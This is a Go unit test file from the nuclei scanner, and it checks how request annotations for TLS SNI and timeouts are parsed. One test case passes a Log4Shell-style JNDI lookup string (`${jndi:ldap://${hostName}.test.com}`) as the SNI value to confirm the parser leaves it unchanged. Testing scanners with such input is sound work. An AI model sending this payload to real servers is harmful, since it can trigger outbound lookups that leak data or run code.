Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
projectdiscovery
GitHub Repository: projectdiscovery/nuclei
Path: blob/dev/pkg/protocols/http/request_annotations_test.go
2070 views
1
package http
2
3
import (
4
"context"
5
"net/http"
6
"testing"
7
8
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool"
9
"github.com/projectdiscovery/retryablehttp-go"
10
"github.com/stretchr/testify/require"
11
)
12
13
func TestRequestParseAnnotationsSNI(t *testing.T) {
14
t.Run("compliant-SNI-value", func(t *testing.T) {
15
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
16
rawRequest := `@tls-sni: github.com
17
GET / HTTP/1.1
18
Host: {{Hostname}}`
19
20
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
21
require.Nil(t, err, "could not create http request")
22
23
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
24
require.True(t, modified, "could not apply request annotations")
25
require.Equal(t, "github.com", overrides.request.TLS.ServerName)
26
require.Equal(t, "example.com", overrides.request.Host)
27
})
28
t.Run("non-compliant-SNI-value", func(t *testing.T) {
29
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
30
rawRequest := `@tls-sni: ${jndi:ldap://${hostName}.test.com}
31
GET / HTTP/1.1
32
Host: {{Hostname}}`
33
34
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
35
require.Nil(t, err, "could not create http request")
36
37
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
38
require.True(t, modified, "could not apply request annotations")
39
require.Equal(t, "${jndi:ldap://${hostName}.test.com}", overrides.request.TLS.ServerName)
40
require.Equal(t, "example.com", overrides.request.Host)
41
})
42
}
43
44
func TestRequestParseAnnotationsTimeout(t *testing.T) {
45
t.Run("positive", func(t *testing.T) {
46
request := &Request{
47
connConfiguration: &httpclientpool.Configuration{NoTimeout: true},
48
}
49
rawRequest := `@timeout: 2s
50
GET / HTTP/1.1
51
Host: {{Hostname}}`
52
53
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
54
require.Nil(t, err, "could not create http request")
55
56
overrides, modified := request.parseAnnotations(rawRequest, httpReq)
57
require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")
58
require.True(t, modified, "could not get correct modified value")
59
_, deadlined := overrides.request.Context().Deadline()
60
require.True(t, deadlined, "could not get set request deadline")
61
})
62
63
t.Run("negative", func(t *testing.T) {
64
request := &Request{
65
connConfiguration: &httpclientpool.Configuration{},
66
}
67
rawRequest := `GET / HTTP/1.1
68
Host: {{Hostname}}`
69
70
httpReq, err := retryablehttp.NewRequestWithContext(context.Background(), http.MethodGet, "https://example.com", nil)
71
require.Nil(t, err, "could not create http request")
72
73
newRequestWithOverrides, modified := request.parseAnnotations(rawRequest, httpReq)
74
require.Nil(t, newRequestWithOverrides.cancelFunc, "cancel function should be nil")
75
require.False(t, modified, "could not get correct modified value")
76
_, deadlined := newRequestWithOverrides.request.Context().Deadline()
77
require.False(t, deadlined, "could not get set request deadline")
78
})
79
}
80
81